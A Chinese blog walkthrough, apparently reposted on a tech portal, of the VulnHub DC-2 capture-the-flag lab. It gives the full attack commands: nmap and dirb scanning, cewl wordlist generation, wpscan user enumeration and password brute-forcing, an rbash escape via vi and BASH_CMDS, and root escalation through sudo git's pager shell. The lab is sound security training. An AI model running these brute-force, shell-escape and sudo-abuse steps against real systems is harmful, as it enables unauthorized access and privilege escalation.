| |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
-> 系统运维 -> 渗透测试学习之靶机DC-2 -> 正文阅读 |
|
[系统运维]渗透测试学习之靶机DC-2 |
1.下载靶机 本篇文章是DC靶机系列的第二个篇,针对DC-2,建议感兴趣的读者从DC-1开始练习((26条消息) 渗透测试学习之靶机DC-1_xdbzdgx的博客-CSDN博客)。 DC-2的下载地址为DC: 2 ~ VulnHub。三个地址建议使用磁力下载,比较快。下载后解压为.ova文件,该格式可直接在VMware上打开,如果显示打开失败,点击重试即可成功,如果仍无法成功可百度、谷歌解决。 在VMware加载成功之后显示如下界面: 默认状态我们是打不开该系统的,也不知道账号密码的,毕竟我们的目的就是在不知道账号密码的情况下拿到root权限,找到flag。注意,这里建议把DC-2靶机的网络链接模式改为NAT模式。本文使用的攻击机为kali(安装在VMware上,IP为:192.168.179.128)。 2.收集靶机信息 由于本文的攻击机和靶机在同一个网络下,因此在kali上输入命令: arp-scan -l,显示如下 ? 可判断出靶机的ip为192.168.179.130.接着使用nmap对该ip进行扫描,输入命令:nmap -sV -p- 192.168.179.130 ? 这里有个点要注意,我扫描的习惯操作是nmap IP,但是从本题可以看出,该靶机故意更改了ssh的默认端口,这样使用nmap ip就扫描不出来了,所以建议以后做nmap扫描一定要对全端口进行扫描,尽可能地仔细。 同时我们看到靶机开放了80端口,那么我们使用浏览器去登陆http://192.168.179.130:80看看有没有什么有效信息。登陆发现了浏览器将其解析成http://dc-2并且访问失败,这说明是本题解析dc-2失败,因此需要在本题host文件上添加192.168.179.130 dc-2 vim /etc/hosts 此时登陆,页面为 ? 观察一下页面,发现flag,点击可得到第一个flag文件,并且发现网站左下角Proudly powered by WordPress ,说明该网站的CMS是wordpress。 这里有三个提示,一个是需要登陆(又用户名肯定需要登陆呀),一个是使用cewl,另一个是暗示我们可能获得不止一个用户,但是不是所有的用户都有用(如果访问失败不妨试试另一个,又暗示了两个用户权限可能不同)。 此外我们可以看到此时的url为http://dc-2/index.php/flag/,这个时候就考验大家的好奇心了,可以在url后面试试加admin,passwd,includes之类的,看看有没有其他页面,然后就发现了竟然还有意外惊喜。发现在url后面加任何名词都会显示如下界面 然后我们在好奇心地随便搜搜(这里好奇心是开玩笑啦,一般来说,面对网站一定要尽可能地熟悉和点击,尽可能地挖掘有效信息,虽然99.99%的试探都是徒劳无功,但是万一呢)。然后就发现了第二个flag,提示 再一次暗示WordPress。接下来我们利用这些线索进行漏洞挖掘。 3.漏洞挖掘 1.找到登陆页面 本人翻看了网站,发现没有看到登陆页面,所以这里需要我们自己思考一下,又两种方式可以找到: 第一,我们已知该网站是使用wordpress,则在网上搜搜发现默认登陆页面为wp-admin,测试一下,果然发现了登陆页面。 ? 第二,使用网站目录暴力猜解工具,如gobuster 、dirb、metasploit等,我们这里使用dirb. 输入命令行:dirb http://dc-2,可以通过猜解得到wp-admin可以访问成功。 2.生成该网站的密码破解字典 输入命令行:cewl http://dc-2 -w dc-2-password.txt ,利用cewl针对该网站生成密码字典,并将密码存储在txt文件中。 3.爆破该网站登录名 WPScan是一款针对wordpress的安全扫描软件;WPScan可以扫描出wordpress的版本,主题,插件,后台用户以及爆破后台用户密码等。当然也可以使用其他扫描网站目录的工具。 输入命令行:wpscan --url http://dc-2 -e u,其中-e表示枚举,u表示要扫描的目标:用户名 发现扫描出三个用户名,admin,jerry,tom. 并将其保存为dc-2-user.txt 文件 4.爆破登录名及对应密码 仍利用wpscan工具,输入命令行:wpscan --url http://dc-2 -P dc-2-password.txt -U dc-2-user.txt 结果发现只破解出两个账号密码 Username: jerry, Password: adipiscing Username: tom, Password: parturient 5.登陆 利用账号密码登陆,翻遍网页发现了flag(哈哈,好奇心已经让我们提前拿到了) ? 4.渗透利用 根据flag2的提示,这条路可能无法再挖掘出更多信息了,并建议我们试试其他的注入点。从开头nmap我们知道,除了80还有ssh的7744端口,接下来我们尝试来连接shh。 1.登陆ssh 此时我们有两个账号,可以分别测试一下,发现jerry登陆失败,tom访问成功 输入命令行 ssh tom@192.168.179.130 -p 7744 然后我们随机查看一下 ? 发现有flag3.txt,但是我们打不开,此时发现了-rbash, 第一,使用vi,less,more,git等可提权的命令测试。该靶机可使用vi flag3.txt,发现可以访问。 第二,绕过,关于绕过有几种方式,详细参考RBash - 受限的Bash绕过 - 云+社区 - 腾讯云 (tencent.com) (1)本人使用的是输入命令行 vi 4.txt #随便打开一个txt文件(文件名随意填) 然后再末端输入(就是按一下esc):set shell=/bin/bash 再按一下esc,接着输入 :shell 注意,上面两行的冒号也要输入。 (2)很多博主使用的如下方法 输入如下命令行 BASH_CMDS[a]=/bin/sh ; a #调用/bin/sh命令解释器 /bin/bash ? #使用bash命令解释器 无论使用哪一种方式,紧接着都要创建一个环境变量 export PATH=$PATH:/bin/ 看到这里,大家不妨思考为什么要创建环境变量?大佬请绕行。其实再进行上面操作之前,查看当前的变量 输入命令行 echo $PATH 原来是因为我们的当前环境变量 而(1)方法则是通过转义环境变量的方式,(2)方法是定义一个环境变量,然后再添加我们新的环境变量,这样才能得到一个不受限的shell。 然后cat flag3.txt 查看flag信息。 该信息提示使用su ,并切换用户 我们输入命令: su jerry,然后输入密码,进入jerry的目录。 这个时候jerry对/home/tom肯定是没有权限的,因此 cd /home/jerry 此时找到了第四个flag,提示我们可以使用git 5.提权 接着我们查看查看可以使用root权限无密码的命令,输入 sudo -l 发现git命令可以使用root权限,并且提示利用git提权。可以在网络上搜索如何利用git提权 发现有两种方式 1、sudo git help config #在末行命令模式输入 !/bin/bash 或 !'sh' #完成提权 2、sudo git -p help !/bin/bash #输入!/bin/bash,即可打开一个用户为root的shell 这两种方式的前提是把shell窗口变小,使得不能在一页全部显示,才可以输入。 ![(C:\Users\Lin\AppData\Roaming\Typora\typora-user-images\image-20211108173501687.png) 如果不能输入,说明你的shell窗口不够小。 ? 获得root权限,输入命令行,查找 find / -name "*flag*" 最后一行为final-flag.txt, ? 最后一个flag成功到手! |
|
|
上一篇文章 下一篇文章 查看所有文章 |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 | -2024/11/15 23:34:18- |
|
网站联系: qq:121756557 email:121756557@qq.com IT数码 |